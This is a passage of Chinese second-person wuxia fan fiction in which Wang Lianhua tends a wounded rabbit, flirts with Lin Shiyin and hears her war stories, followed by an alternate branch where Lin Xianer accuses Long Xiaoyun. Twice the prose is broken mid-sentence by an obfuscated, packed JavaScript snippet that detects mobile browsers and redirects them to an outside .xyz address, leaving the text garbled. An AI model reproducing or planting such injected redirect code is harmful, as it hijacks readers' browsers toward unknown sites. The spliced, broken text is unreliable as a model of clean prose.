你猛拽扇柄将他抵在梅树上,虬枝震颤惊起栖雀。枝头残雪簌簌落满他肩头时,你瞥见他喉结一滚,脉搏在苍白的皮肤下突跳如琴弦,却偏要勾起唇角露出风流恣意的笑作掩饰。 你抽出了他的折扇,动作轻柔地为他扫去了肩头碎玉似的雪,然后像当年那般用扇子挑住了他的下巴:“没人告诉过你,女人耳后三寸最忌生人吐息吗?” 触碰过雪的扇子透着寒意,碰到他脖子时,你指腹隔着扇柄清晰感受到了他的颤动。于是扇缘游走在他颈侧动脉,仿佛在细细端详他的面容,你凝视着他刻意扮作的五官:“这张脸……” 你用那扇的那手将兔子托在你手肘和胸侧间,空出手伸出指尖按住了他耳后/穴位,微微发力,你摇摇头:“看着碍眼,我不喜欢,换成你原本的样子。” 他骤然屏息,睫毛在晨光中急颤如垂死蝶翼。你抛了扇子扔还给他,旋身离去,衣袖掠过他身侧时发出的柔和一拍里,他本能地抬手挽留,指尖堪堪擦过你的袖摆。 身后传来了面皮揭落的细微嘶声,追来的足音很快到了你的身侧。 像那只雪狐似的,竟有些可怜可爱。 王怜花展开了折扇轻扇,他追到你身侧时,那张属于龙啸云的面皮已经不见,露出的是原本昳丽的容颜。你才发现他眼尾有一点朱砂痣,在雪色里艳得惊心。 他给你递来一个打开的油纸包,里面一颗颗小三角粽形状的糖块,在朝阳下流转蜜色光晕,糖块裹着颗颗白润的松子,宛若冻住的白梅花苞:“广陵徐记的琥珀松仁糖,你最爱……。” “不吃,戒糖。”你根本没有见过这种东西,谈何爱不爱,“这个月我都不会碰一点甜的东西。” 目不斜视的你悄悄瞟了一眼那颗颗晶莹剔透的糖,丝丝缕缕的麦芽甜味钻入鼻腔。 …… “真香。” 好奇怪,明明是看上去很朴素的,裹了松子后竟也不甜腻,清香清香的,吃了一颗后就想再嚼第二颗。 等你到了李园的药居时,松子糖已经少了好几颗了,你正觉得有些口渴,王怜花已经为你递上了竹筒里装着的凉茶。 “……” 你皱眉闻了一下,闻出了枇杷叶的味道。轻抿一口,齿间松香混合枇杷叶的清苦,竟与幼时你祖母煨的止咳汤滋味重叠,她用陶罐咕嘟咕嘟地熬着茶汤,蒸汽在她两鬓凝结成细珠。 小时候你不爱喝那不加糖的黑乎乎药水,被哄着“良药苦口”好久(其实也不苦)才乖乖干了它。那些幼年的记忆,会给成年后尝到的清苦增添不一样的甜味。 你眉头不由自主地舒展,看王怜花也顺眼许多。 毕竟现在你的祖母已经不会再为你费心了,她每天都在老年室攒局找人搓麻将。 王怜花不讲话的时候还是很有种美男的样子的,他笑眯眯地看着你喝水吃东西,有些得意道:“你若喜欢便好,不枉我一片片将枇杷叶的绒毛刷净……” 你则后知后觉地将竹筒还给他,怀疑地问道:“你没往里面吐口水吧?” “……” 王怜花潋滟的笑意蓦地顿住,茶汤在筒口凝成琥珀色的泪,他不解极了:“阿音,我究竟在你心里是怎样的?我只是难缠,却不是下作。” “这个问题,你自己不清楚吗?” 他便证明一般抓住了你的手腕按在他的胸口,你掌下的心跳有力又局促,宛若困鹿撞笼:“你可以问问它,这里每跳一下都在喊林诗音。” 他笑得漫不经心,眼尾却泄露三分忐忑。 他和你都觉得你本该用力推开他的。 可你承认这个时候,你不小心犯了女人正常会犯的浑——你所有的知觉仿佛都聚集到了掌心,他这身体的触感还是非常不错的。 食色性也,人之常情。 不过你有自己的人设底线,所以你平静甚至有些冷漠地看着王怜花,问道:“你这种幻听,持续多久了?” 王怜花直直地看着你,你坦然地对视回去。良久,他败下阵来,颓然放下了你的手,轻轻一叹,像是恼你的不解风情。 你有些遗憾地收回了手,去为桌上的小兔子找白麻布,余光瞥见王怜花将绿色的草药放入了青瓷研钵,碾碎的草药混入另一种紫色汁液,在他指尖染出浆果似的青紫色,泛起初春山涧般的清气。 注意到你的视线,他想起来你刚才说的“吐口水”怀疑论,他沉默了片刻,手里不停,解释道:“这是地榆叶和紫珠草汁,阿音若不信我,可以在《本草纲目》中去查,瞧瞧它是否具有止血凉血的作用。” 言罢,他指尖轻点你准备的麻布:“兔儿骨脆筋柔,还需要用桑皮纸裹药。此物虽能止血,却有可能磨破小兽薄皮。” 你拿着布的手顿住了。当然,你是信王怜花的医术的,因而有些不知所措。 “先用这个,”他递来一块湿湿的软绢,再次解释道,“浸了榆皮汤,《司牧安骥集》有载……” “我知道,”你打断了他的自证,为兔子擦拭了伤口,“战马眼睑受伤时,老马夫都这般清洁创口。” 王怜花眼中闪过一丝惊讶,却没有过问,只是将桑皮纸裁了,调整起宽度后递给你。桑皮纸入手,有一种熨帖的柔软。 当你给小兔子后腿缠上过了药的桑皮纸,正要打结时,一直旁观的王怜花作不经意地赞道:“阿音,你这末端留余的手法,恰似军中包扎手法的变式。既能防止兔儿蹬踹时布条松脱,又避免压迫血脉,倒是严谨又温柔。” 你顿了顿,将布打好了结,他则取来银剪剪修了布边:“我曾在终南山救了一幼鹿,便是被过紧的绷带勒肿了血脉。” 你止不住好奇,问道:“你还救过鹿呀?可是兔子身子更柔软,嘴能啃到腿上,喜欢啃咬草木,后腿还爱动弹,这包扎好好的,等一会儿不就被它张嘴霍霍了么?” “阿音果真细致周到。”王怜花笑了,取了银匙挑起了一些携带的药粉,细细洒在桑皮纸的接缝处,“此乃苦参粉,辽国牧人训鹰时常用此法,猛禽利喙触及苦味便会松口,且取之适量与兔服用也是有益处的。” 他说你细致周到,实则他自己却早将这些备齐、研制好了,甚至还会同你解释,以免你担忧他是个庸医。 他接过你的活,为兔子又裹上一层布,他的包扎路径刻意绕过兔腹中线,所有绳结皆藏于脊背隆起处。当最后一道桑皮纸覆盖上后,他用了竹夹固定了绷带末尾。纸遇湿膨胀,夹子便陷入桑皮纤维,形成了一道牢固的锁扣。 你笑了:“没想到你还有治小动物的本事。” 你问道:“可为什么你自己的伤却还没好?” 王怜花刚要勾起的嘴角一僵,已听得你道:“你不会没有上好的金创药,且你上回给我的药中有苏木。我曾经只是佐以苏木煎汤热敷,七日便能消去淤肿,没道理你比我更熟知药理却还好得这般慢。” 所以这么久了,昨日还缠绷带?哼,心机狗。 王怜花一时沉默,随后又叹了口气,他道:“阿音既 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049641|161584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然这般说,我倒要也有一问,不知你可否能解答?” “说。” “你对此这般清楚,又是受过多少伤?试了多少药?” 药杵被整理放入钵底的脆响里,你看出他睫羽下的目光里不仅仅是试探,更掩着疼惜——那神情竟与祖母望着你时的目光类似。 可你并不觉得他的关心是有必要的:“伤痕是女人的勋章,你又懂什么?” 若是李寻欢面对你这样贫嘴的时候,他一定会以你都心疼的目光瞧着你,仿佛他在轻触一个易碎的薄胎瓷:“这些勋章,我宁愿它们从未存在。” 所以你从不和李寻欢说起。 但是王怜花却掩饰了他眼底汹涌,轻轻笑道:“既是勋章,不若说与我一听,让我好好瞻仰瞻仰。” “我若说了,你也不会信。” “阿音若不说,又如何能让我懂你的女子气概?” “……” 你好像知道佞臣为何能混得那么好了。 你不由得被他逗笑了,随后你轻轻一叹,看着他,眸光却穿透至很久很久之前的岁月。那时,你应当也称得起一声少年将军。① “这里曾被狼牙箭贯穿。”你的指尖点至肩胛,随后划至肋间,“还有雁翎刀从左臂滑至此处,我当年是用桑白皮线在烛火下缝合的刀口。” 这是雁门关外被斥候所伤的,还算小伤。 你记得最接近死亡的那次还属幽州雪原,因为敌我相差悬殊,叛将投敌,粮草告急,你以必死之心带着五十心腹瞒着义父,深夜闯入辽军阵营。 当玄霜的蹄踏破大营时,你的右肩已嵌着三支透甲箭,叛将和敌将的头颅被你悬在马侧。被惊动的辽军追赶着你们,五万铁蹄震得冰河开裂。“放箭!”记忆里的嘶鸣和现实中你的嗓音重叠。你仿佛看见自己回到军营时,用断枪挑开面甲,温热的血珠顺着眉骨滴在冻土上,但你笑得开怀,静默一刹的军营随后爆发了惊人的欢呼。 “第七支箭贯穿肺叶时,我嚼碎了随身带的血竭。”说话间,指尖顺着肋骨斜贯至腰侧,“那本该有一道狰狞的伤口,是弯刀留下,刀刃卡在第三根肋骨间,我反手削断对方咽喉,用马鬃混着茜草塞住伤口……不过最险的还是左腿胫骨,若是不能跑跳我得被活活憋死。” 突围时被铁蒺藜砸断,是军医用《肘后备急方》里的柳枝入骨法才保住腿。 说起那老军医,你不由得想起雁门关突围之后,你所率的三百人队伍在峡谷遭受火攻,你顶着燃火的旗撞开围栏,滚烫的松脂顺着铁甲流进领口。回营后声带也受了损,老军医用雷火针炙哑门穴,留在你后颈一处艾灸灼烧,每扎一针,还叫你含住雪地里挖的鲜地黄。 “所以对医者,我总该怀几分感恩和好感的。”你以茶代酒,端着竹筒敬了王怜花一杯。 王怜花沉默不语,他没有竹筒也没有杯,只是与你一拱手算还礼。 英雌本不该提当年勇,可是你实在是个喜欢听夸奖的人,然而当年你血战之后的胜利却只留下狼藉,战功赫赫之下是皇权对此的清剿,于是一身荣耀竟不知道与谁说。 铠甲摩擦声萦绕耳际,你也曾守过太原城头三个昼夜,全身二十七处伤口被盐水冲洗。最深的箭伤在右膝,需挑开腐肉嵌入烧红的铁止血,而彼时城池中是百姓逃难的哭喊声。 兴,百姓苦,亡,百姓苦。 你因而讨厌太平盛世下,不知安康是福的矫揉做派。 “我知道你当初伤了自己是想要同我卖可怜。可我爱自己胜过爱旁人,我受得哪一处伤不比你严重?我可怜自己都来不及,又怎会看得上你的做法呢?” 你并非没有同情心,你不会忘记李寻欢夜探寒池是为你,林仙儿周旋恶人也是为你,可他王怜花的伤全纯属自作自受。 你抚摸上了他的脸颊:“想让我对你好一点,便不要求我怜悯,证明你对我的价值,好不好?” 20.第 20 章 王怜花静默如古潭的眸光凝在你的面上,他忽而轻笑一声:“好。” 他毕竟是聪明的,所以仿佛已经明白了你要做的事。如果他当年认识的人真的是你,那他一定明白,能被允许接近你的陌生人一定有你所能容忍乃至利用的地方。 药香在铜炉青烟里沉浮,王怜花的指尖还沾着未干的草药汁,他顺势握住你抚摸他脸颊的手,将你的衣袖往上推了几寸:“当年你左臂的疤可还疼?” 然而衣袖上推,露出的是你光洁无瑕的左臂,非要说有什么瑕疵,那就是冬天皮肤有些干燥了。 他注视着你手臂的眼神让你都有些尴尬了,但旋即你又理直气壮:“你不信也不要紧,反正……” “阿音字字如玦,我怎会存疑?”他道,“阿音说什么我都是信的。” 你眼中的尴尬熄灭,转为思索,直到这一刻,你方才确定一件事。只因他看见你的手臂时,眼里一丝怀疑和惊讶也没有,好像早已清楚你最深的秘密。 于是你便也确定,他真的认识你,只是你也真的没有印象。 王怜花看着你的手臂,指腹轻轻掠过腕间,仿佛在触摸那穿越时空的疤痕,惊起你一片粟子:“你当初用线缝合时,可有人为你吹散疼痛?” “你当我是三岁小孩,还玩什么‘痛痛呼呼飞走了’?”你戏谑他的幼稚,屈指弹开了他的手,“我又不缺烧刀子,更何况,现在早已痊愈。” “身上痊愈的疤若是没有忘记,那一定是伤痕到了心里。” 他从怀中取出一支玉色瓷瓶,鎏金的塞子拔开时溢出清苦的药香,他指尖青紫色的草汁触及那药膏时竟渐渐淡去:“这是南海珍珠混合天山雪莲制成的玉容膏,我如今只剩这一支……” “欸等等等等!”你听到后面,倏忽后仰,叫着躲开了他为你抹药的动作,“我可以下次受伤的时候用吗?我现在舍不得!” 在你眼中升级为哆啦A梦的王怜花愣了一下,被你逗得一笑:“这有什么舍不得?女儿家的肌肤,该配最好的绸缎与脂膏。你若喜欢,我下次再为你做就是了。” 他将那膏用指尖捂热了,然后才碰到你的手腕:“你说你怕疼,可你却又总做那英勇的事。真叫人……又恨又敬。” 竹影在窗纱上摇曳,你望着他为你敷药时低垂的眉眼,闻到了他身上的曼陀罗花香。你不知怎的想起,曼陀罗花虽有毒,却也是镇痛的良药。 你忍不住犯贱,用脚轻轻踢了他的脚一下:“嗳,王怜花,你是听了我之前的话,在展现你的价值吗?” 他敷药的手悬在空中,抬眼看你,那目光……如何说呢,太容易激起人的愧疚之心了——可惜你没有这种东西。 王怜花看你良久后,忽然展颜:“是啊,那阿音喜欢我这样吗?” “喜欢啊,很喜欢。” 他便笑得更开心了。 “可是你都不担心吗?”你问他,“我喜欢表哥,却也能轻易离开他。我喜欢你,将来同样也是如此。” 王怜花又沉默了,但他很快有些得意地笑了:“我不担心。” 他说:“我知道,你让李寻欢和林仙儿独处是为他二人着想。李寻欢是君子,是好人,他同任何一个人在一起,都能得到幸福,给他所爱之人带去安稳。但我不一样……阿音,你知道我不是君子,更担心我是会为非作歹的恶人。” 他的手已经握住了你的手,就像蛇缠绵那般紧——你不讨厌蛇,你曾经养过一条小黑龙,她就喜欢化作蛇的大小,亲亲热热地缠在你的手臂上,如玉的鳞片冰冰凉凉地摩挲着你的手背。 王怜花重新将你的手贴在了他的脸上:“你要知道,只有你才管得住我,我也只听你一人的。你舍不得放我祸害别人、伤及无辜,对不对?” 这一次,轮到你笑了。 你顺势坐到了桌上,松开了触摸他脸颊的手,你道:“王怜花,你知不知道你这样说,让我很难办啊,好像是在说我养了一条只认主人的恶犬……” “汪!” “……” 檐角铜铃恰在此刻惊风,你望着他含笑的唇,忽觉这声犬吠比铜铃更慑人。 你惊讶又敬佩地看向他,他敢叫,你都不敢听。 你试探道:“那我要是不喜欢狗,喜欢狐狸呢?” “嘤嘤~” “……” 妈耶……你也是遇到旗鼓相当的变态了。 你笑出了声。 王怜花亦笑着问你:“阿音满意了?若是满意,阿音可要拴紧我了。” 他说着让你拴紧他,却是主动向你靠近了一些。 窗外的雀儿忽然惊飞,檐下落落几片零落的绒羽。 你听见了药居外的脚步,那是你听了十余年的步调——曾伴着碎雪踏过回廊,也曾在家门口飞快地向你奔来……然而此刻那足音却凝着几分迟疑。 时机正好,于是你抽了折扇“唰”地展开,俯身贴上了王怜花的面颊,启唇靠近在他耳边。 在李寻欢的身影出现在药居门口时,你就这样在折扇掩饰下,与王怜花说着悄悄话。 透过折扇竹影的扇面,你余光瞥见门框处投下的身影,好像一株覆盖着霜雪的瘦竹。 …… “你听明白了吗?” 你起身,放下折扇,瞥了一眼已经空荡荡的门口,重新看向了王怜花。 “明白了,”王怜花道,“你不想我做恶犬,也不要我做白狐,你想我做那牵红线的喜鹊。只是可怜——” “可怜什么?” “可怜有人刻意迈了这样重的步子过来提醒我俩,却还是见了他不想见的一幕。”王怜花捻起一缕你垂落鬓角的发。 “哪一幕?”你躲开了他的指尖,坦然地看他,“我还不都是在为你遮掩真容,我怕他伤你,我对你难道不好么?你倒同情起他了。” “好个倒打一耙,”王怜花失笑出声,他问你,“那我这真容是为谁而掩,又为谁而现?人皆说我狡诈,却纵使是我也好似你手中的一枚棋子。阿音,是不是自我踏入李园时,你就已经想到如今的这一幕了?” “你们男人就是喜欢把一切都怪到女人身上。”你语重心长地pua他,“你想想,如果我真要设计,何必把这么多事的你拖入局中,这不是有现成的龙啸云吗?除了我,谁会喜欢招惹你呢?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054494|161584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“难道不是因为我比他更符合你的喜好么?” “……你爱做不做,不做拉倒。” 你跳下桌子,重新落地。 他却扯住了你的手,像是从前共谋过一千次恶作剧那般:“好。”① * 立春的阳光缠着药香渗入窗棂,在你看不见的地方,李寻欢在房间内雕刻。 刻刀悬在檀木裙裾处已半盏茶的光景,刀尖迟迟未落。 等终于落下的时候,他握着刻刀的手忽然一颤,檀木小像的裙裾处便多了道裂痕,裂痕让他想起早晨时,那竹影扇面下,你和王怜花交触的发丝。 他望着手中将完工的小像,听见了门口的脚步。 “李公子,尝尝这杏仁紫苏润肺汤。”林仙儿捧着珐琅盅推门而入,葱绿的裙摆扫过地上的木屑。 ……又是绿衫,他想,好像谁都知道有人的衣柜里总是青绿最多。 “放着吧。”他止住喉间的痒意,指腹抚过木像裙边的裂痕,那裂痕叫人看着空落落的,像极了他那刻总觉得抓不住的衣香鬓影。 林仙儿道:“趁热喝罢,这是我特意为你熬的……” “我倒不知林姑娘何时也精通药理。”李寻欢淡淡说道,“李园上下皆知自幼咳嗽的是阿音,却不想这几日我极力掩饰的肺伤,却被姑娘你慧眼看穿?” 林仙儿被他噎住一会儿,开口道:“李公子何必出言讽刺?你既已看穿这药不是我熬的,我便也不再掩饰。可你知道我为什么放着好好的时间不去练剑,反而要费心骗你关心你,还要忍受你一顿责备么?” “总不会是因为林姑娘喜欢自讨没趣的。”李寻欢微微一笑。 林仙儿冷笑一声:“我算是知道姐姐为什么宁愿陪那姓龙的熬药也不愿意来见你了,你们读书人骂人可真是叫人生气。若我是姐姐,也喜欢听那姓龙的甜言蜜语,你可不知这几日,他是变了法的讨女孩子开心。” “……” 李寻欢神色淡然:“林姑娘若喜欢听,便也去,有谁拦你不成?” 言罢,他继续雕刻小像。 忽听得廊下环佩叮咚,他的指尖一抖,刻刀在原本流畅的纹路上划出一道杂音。透过半卷的竹帘,李寻欢看见你提着药箱,和易容成龙啸云的王怜花并肩而行,王怜花将你被弄歪的并蒂莲玉簪扶正。 “阿音。” 李寻欢脱口唤道。 林仙儿则突然打翻瓷盏,褐色的药汁在青砖上蜿蜒成河。 * 你听见了表哥叫你的声音,以及陶瓷的破碎声,等你小跑着掀开竹帘时,李寻欢正蹲在地上一片片地捡拾破碎的瓷片,门口的碎片堪堪擦着你的鞋尖。 “当心。”王怜花眼疾手快地扶住你,“为这碎瓷得到勋章,可真是不值得。” 你看他故作夸张的告诫神情,不禁笑了,然后你蹲下拦住了李寻欢的手:“不要直接用手拿,会被割伤……” 言语间,李寻欢默默地看着你,将掌心合拢,顺着你的力气起来。 你起身时询问林仙儿发生了什么,在她略带哭腔的抱怨中,你不知道有片染血的瓷片在李寻欢掌心里微微颤动。 21.if线 【这是条if线,时间点在龙啸云和李寻欢表露对你的好感之后,且王怜花未能与你见面。】 这几日你同李寻欢都在家,不过却很少见面。 因为他和龙啸云形影不离,而你却莫名不喜欢龙啸云,你特意避开了他们的行踪。 你不知道是讨厌龙啸云喜欢你,还是讨厌他占据了李寻欢的全部视线,又或者讨厌某些不好的预感。 好在很快,龙啸云就病了,而且听说病得颇为严重。 你笑嘻嘻地跑去找李寻欢,然后在见到他之前,将自己的表情调整为不嘻嘻。 具体参照物为林仙儿作忧郁状的模样。 * 暮冬的傍晚像是掺了水的墨汁,窗外的老梅枝干上垂着冰凌,雪粒子簌簌扑向窗棂。 屋内,李寻欢正凝视着窗外的梅花发呆,寒风吹动他散在肩头的碎发,背影显得格外孤寂。 你轻轻走过去,从背后抱住了他,他的腰窄而有力,搭之翘臀长腿,实在是尤物。你以前不曾关注男人身材的这些细节,和他相处久了却也察觉了这种美感的诱惑性。 在你靠近时他正在出神,被抱住了后他愣住了一秒,随后自然地转过身让你入怀,摸了摸你的头发,他似乎靠近了你一点,让你想起从前亲密无间的时光,你歪头让他的手顺着你的发落在你的脸颊上。 但下一刻,你掌心下的紧窄腰身忽然绷紧,他的肩头一僵,手指却突兀离开了你的发——他后退了一步。 案头的烛火被风带动,在他侧脸投下晕暗的光影。 你本就抱得松散,因为你原以为他会像从前那样抱住你,不料他竟然会后退,于是你们便彻底分开了。 他看向他,而他的视线躲开了你的。 飘雪从窗外卷入 ,落在你方才触碰过他的指尖,凉的刺骨。 你不解地问道:“怎么了?我压着你伤口了么?” 他下意识要摇摇头,却停住,顺着你的话道:“我的伤确实未好,原本也想照顾龙兄却力有未逮,你……” 他要开口,又似难以启齿:“你可否替我照看他一二?” 你奇怪道:“你伤未好,我自然是照看你,怎么会去看他?” 他不说话了,面色有些愁苦和茫然。 美人忧愁本该是很惹你心疼的,可你却不由叹气和心烦:“你最近很古怪,我已然包容你很多,如果是往日你根本说不出这样无理的话来,你知道我惯是粗心照顾不了病人的。” “你太贬低自己了,我知道你阿音其实最是温柔细心,只是你的细心只给你喜欢的人……” “那你就该知道我讨厌他。” 李寻欢被你的直白噎得一默。 你内心莫名的焦躁越来越重,为了让他知道你的生气,你的语气也越来越差:“我讨厌他。其实我本也讨厌很多男人,以前也包括你,只是后来我以为你和他们不一样。你以前那么好!” “你可以将他看作是我,他也会很好……你可知他是我顶好的朋友,他救过我的命是我的兄弟,若没有他,你或许再也见不到我。阿音,不论你讨厌谁,你总该对一个能牺牲自己也要救他人的英雄一点尊重。” 你被噎住,你先前很担忧他道安危,得知他被救下,自然也很感激。但转念一想他这何尝不是一种道德绑架,你觉得身上好似被绑了一种无形的锁链,不由得恼道:“李寻欢,他是你兄弟和我又有什么关系?我只敬你父母,你若想我对他好上三分,就别认他作兄弟,认作爹算了。” “你如今为何变得这般无理取闹了?” 你皱眉怒道:“你若是了解我,就该知道我讨厌这种话!” 你说完一愣,察觉什么,难以置信地看向了他:“你今天一直在说些令人讨厌的话……你是特意想让我讨厌你?” 他看着你,沉默着。 你不懂,你问他:“为什么呢?发生了什么事情让你这样一反常态?” 他惨淡一笑:“你就当我一直是这样讨厌的人罢。” 你和李寻欢不欢而散。 * 这是你第一次和李寻欢吵架,只因往日里他多会迁就你,而你惯是吃软不吃硬的,总能被他顺毛捋好。时间久了,你便也学会了宽待他一二,你们就更少置气了。 如今想来,你还是第一次这般生气。 林仙儿也是第一次看你这样,她便很少和你卖弄话术了,练剑也更为刻苦。 她真的是个很上进的人,如今少了几分浮躁,多了几分稳重,进步便很大。 你不由得笑夸了她几句,她很受用:“姐姐终于笑了,那妹妹的苦便没有白吃。” 你白了她一眼:“这苦哪是给我吃的,还不都是为你以后?” 她对你笑笑,然后将脸颊靠在了你的肩上,柔柔道:“这几日看那姓龙的病越来越重,姐姐你说他要是死了,小李探花是否会为他守孝三年?” * 没过几日,你正在屋内算账,你的学生急匆匆地跑来叩门:“老师,仙儿想要给龙少侠下毒,被小李探花发现了!” 你一惊,莫名所以,手中的账都忘记放下了,就急匆匆奔了出去。 在廊道上,你便听得林仙儿的一声惨叫,等你飞奔至客房,正见到林仙儿一脸仓惶地站在房中与李寻欢对峙。 她的脚下是打碎的药碗,黑色的药汁倒在地上,溅脏了她原本干干净净的裙摆,她跺脚时隐约也看见裙摆后那被染上药汁的绣鞋。 你问她:“你没受伤吧?” 她略显受惊的眼神软和了些,眼眸团出一圈泪花,凄声轻唤了你一句:“姐姐……” 叫完之后她对你摇摇头:“我没有事。” 你将稍稍恢复了镇定的她拉到了身后,对李寻欢呛声道:“若是仙儿哪里做得不对,那也是民女的意思,同她没有关系,李大人有什么罪责要问的,找民女就是了。” 林仙儿拽住了你的衣袖:“姐姐……” 你按住了她的手。 李寻欢早在见到你的时候就像被刺伤一般弱了气势,如今见你这样讲话,他神色发苦:“阿音你又何必这样说话,我知道你不是这种人。” “李大人怎敢凭往日印象了解人呢?人都是会变的,就像我从不知你也会不分青红皂白就拿官威逼迫一个弱女子。” “弱女子?”李寻欢看向了你身后,你察觉身后的人手一抖,挪了挪身挡住了李寻欢的视线。 “阿音,你口中的弱女子可是出手狠毒啊。” 李寻欢言罢,冷声对林仙儿道:“我倒不知龙兄何处得罪你,你要下这样狠辣的毒,若非我今日前来闻到了不寻常的味道,龙兄怕就遭了你的道了!” 你犹疑了一下,以你对林仙儿的了解,她出手确实没轻没重、不顾他人死活的。 你听见你身后的人颤声道了一句:“得罪?你这话未免说得太仁慈温和了些!” 你转过身,见林仙儿早已泪流满面:“我知道我出生低微,李大人多有瞧不起我,可姐姐……和您对我有恩。前些日子,知道你二人因为这生病的畜生而不快,为了姐姐,为了您,我便日夜照顾这个畜牲,谁料他居然……他居然对我……” 林仙儿嚎啕一声,她松开了你的手捂住了脸,她的话没有说完,可在场之人已经懂她的未尽之言。 你这才看向一脸病容靠再床上的龙啸云,他惊讶又慌张地瞧向你:“我没有!” 你没有管他,因为你身边的林仙儿猛然扑向了一个方向,你正欲拦住,却眼睁睁见她从你身侧滑过,扑向龙啸云。 而朝柱子方向挡的你尴尬地挡了个空。 你实在是见过太多姑娘为了所谓的清白而伤害自己,因此下意识害怕她自寻短见,却不料她选择伤害始作俑者。 你在这一刹,心生感慨。 林仙儿手中藏着的剑尖几乎戳到了猝不及防的龙啸云面前。 却见一点寒芒,钲然一声,林仙儿的短剑如被砸到了一般落地,龙啸云身侧的墙壁上钉着一把低鸣的飞刀。 是李寻欢出手了。 林仙儿愣了愣,不顾手上的伤痕,气愤地质问道:“难道连报仇的机会李大人也不肯给我吗?!竟非要逼迫人至此!” “怕是敌不过你的暗剑逼人,”李寻欢说,“林姑娘,便是报官也得讲究认证俱全,你出手就是如此狠辣,可曾给龙兄弟一次阐述的机会?” “狠辣?我虽曾沦落青楼,却也知耻!难道当过妓女就能听得你们将我被这畜生玷污的耻辱再说一遍么?我真恨不得啖其血肉,倘若李大人遭受过这些,未必不会比我狠辣。” 李寻欢欲说什么,差点丢掉性命的龙啸云却抢先悲愤道:“龙某如此病躯,连在姑娘剑下还手都做不到,又何来心力非礼姑娘?!请姑娘多自重!莫要污蔑我!” 他说完这话就像是受到了莫大的羞辱,随后便萎靡在一边了。你不理解,可李寻欢却一定能共情,他原本对林仙儿的犹豫变成了对龙啸云的同情。 林仙儿哭道:“你这无耻小人,敢说我为你端药时你没有摸过我的手?我坐在这儿时,你没有起了异心,对我动手动脚?” “你……你……咳咳咳咳……” 龙啸云脸色涨得通红,几乎喘不过气地咳嗽起来,李寻欢忙走到他身边拍着他背替他顺气,龙啸云这才把话说完整:“分明是你故意勾引,我一直喜欢的是林……寻欢兄弟的表妹,何来对你这样!” 他一说完,李寻欢也露出了痛苦的神色。 李寻欢不敢再看你。 林仙儿冷笑着嘲讽道:“好一个无耻小人,竟敢将觊觎兄弟未婚妻说得这样坦坦荡荡!” 李寻欢大声道:“不要再说了!” “什么……这我并不知道阿音是你的未婚妻,兄弟你、你……” 龙啸云左看看李寻欢,右看看林仙儿,面色一会儿青一会儿红,最后竟哇地吐出一口血来:“你真是糊涂啊!我虽然救你一命,可我也知道兄弟妻不可欺的道理……” 林仙儿继续冷笑:“明眼人还能瞧不出他俩是一对的么?再瞧不出,李园随手找一个人问问都是知晓的,也便是你这种贱人选择了当了睁眼瞎。” 李寻欢有些困难地对他道:“我,一直将阿音当作亲妹妹看待……” 林仙儿高声一笑:“好嘛,睁眼瞎配一个说瞎话的,倒真是绝配。毕竟瞎子的眼睛,聋子的耳朵——都是摆设!” 你冷眼看着这一切发生,只觉得你在此处,却像是一个局外人。他们说的话大抵是和你有关的,可却没有人在意需不需要你开口。 林仙儿却是越说越生气:“李寻欢你不是男人,根本就不是个人!根本就不中用!①我现在才知道你避着姐姐不见,却让她照顾你的好兄弟是为了什么!你可真是报恩报到脑子都坏了。” 李寻欢不再说话,房间内寂静又狼藉,沉默仿佛一头呼哧呼哧的巨兽,这种无声竟然也会那么显眼。 你拉住了还要再骂的林仙儿,问她:“你还好么?” 她原本气势汹汹的眼珠子一愣,下意识看低了一些,原本她还欲腾起气势再装哭一下,你已然明白了过来。 “下次莫要再拿自己的事情开玩笑了。” 你知道她做这些都是为了你给你出气,可是:“不值当。” 你久久地看着李寻欢,你想把他的样子记在心中,然后提醒自己永远不要再犯。 你叹息道:“这几日我想了很久,在我心中你永远是从前那个善解人意的小哥哥,所以我才不懂你最近这一出出算什么。” 你说:“现在我明白了,其实你也没有变,只是你宁愿为了体贴一个外人,也要让你唯一的亲人受委屈,因着你生气对吗?” 他的脸色瞬间变得苍白。 你道:“可是你不懂我,我爱一个人的能力并不长久,然而我不爱一个人的决心却永远坚定。” 随着你的话语,在场的两个男人表情都变得很难看。 龙啸云挣扎道:“可是阿音妹妹……我会对你好的,你不信吗。” 你闻言,笑了:“这里所有人,只有我表哥坚信你。而你甚至都不记得他说我讨厌别人叫我妹妹。” 李寻欢无声地惨笑了一下。 于是你对林仙儿道:“还记得我和你说过的故事吗?” 林仙儿不解地点点头。 你说:“当初,她面对的就是家人们这样的好意。你看,你觉得被随意指定给别人,她开心吗?” 林仙儿愣住,眼神几经变幻。 龙啸云还要开口,李寻欢轻轻道了一声:“阿音,你曾说日久见人心,为何不给一个爱着你的人机会呢?” 林仙儿已经明白过来,她忽的落下了眼泪,却是竖了眉张嘴就回:“见什么见,姐姐就是见你见久了才发现你不是什么好东西,倒是你,你见不见啊?” 她真是个挺会骂人的女孩子,谐音梗都用得比你厉害。 你用脚尖一挑,地上的剑被挑入你的手中,你看向了李寻欢。 你怪他吗?其实不将他当作/爱人,只当作亲人的话还好。 你想起了你曾经的一世,当初你的家长们也是他这样,不明白你为何要退婚,因为他们尽自己努力给你找好了退路。 你知道他们爱你,可你感到冒犯和讨厌,并选择拒绝。 凭什么呢?难道的你喜好和发声都不值得被尊重么?那是什么很矫情的无病呻吟么? 